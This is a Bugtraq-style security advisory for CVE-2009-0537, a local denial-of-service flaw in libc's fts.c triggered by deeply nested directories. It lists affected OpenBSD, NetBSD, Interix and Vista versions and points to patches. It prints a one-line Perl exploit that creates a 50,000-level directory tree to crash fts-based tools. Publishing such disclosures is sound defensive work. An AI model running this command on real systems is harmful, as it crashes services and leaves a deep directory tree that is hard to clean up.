Multiple Vendor libc 'fts.c' Denial of Service Vulnerability

Bugtraq ID:	34008
Class:	Design Error
CVE:	CVE-2009-0537
Remote:	No
Local:	Yes
Published:	Mar 05 2009 12:00AM
Updated:	Jan 04 2010 01:02PM
Credit:	Maksymilian Arciemowicz
Vulnerable:	tnftpd tnftpd 20081009 tnftpd tnftpd 20080929 tnftpd tnftpd 20080609 tnftpd tnftpd 20040810 OpenBSD OpenBSD 4.5 OpenBSD OpenBSD 4.4 OpenBSD OpenBSD 4.3 OpenBSD OpenBSD 4.2 OpenBSD OpenBSD 4.1 OpenBSD OpenBSD 4.0 NetBSD NetBSD 5.0.1 Microsoft Windows Vista Enterprise SP1 Microsoft Windows Vista Enterprise Microsoft Interix 6.0
Not Vulnerable:	tnftpd tnftpd 20091122

Multiple Vendor libc 'fts.c' Denial of Service Vulnerability

Multiple libc libraries are prone to a denial-of-service vulnerability caused by an error when handling deeply nested directory structures.

An attacker can exploit this issue to cause applications using vulnerable libraries to crash with a segmentation fault, denying service to legitimate users.

The following are reported vulnerable:

OpenBSD 4.4 and 4.5
NetBSD 5.0.1
Microsoft Interix 6.0 10.0.6030.0
Microsoft Vista Enterprise

Other libraries may also be affected.

Multiple Vendor libc 'fts.c' Denial of Service Vulnerability

The following exploit is available:

perl -e '$a="C"x22;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'

Multiple Vendor libc 'fts.c' Denial of Service Vulnerability

Solution:
Patches for OpenBSD and NetBSD are available. Please see the references for details.

Multiple Vendor libc 'fts.c' Denial of Service Vulnerability

References:

• CVS log for src/lib/libc/gen/fts.c (OpenBSD)
  
• libc:fts_*() Multiple Denial of Service (Security Reason)
  
• libc:fts_*():multiple vendors, Denial-of-service (Maksymilian Arciemowicz)
  
• Microsoft Homepage (Microsoft)
  
• tnftpd Product Page (tnftpd)
  
• libc:fts_*():multiple vendors, Denial-of-service ([email protected])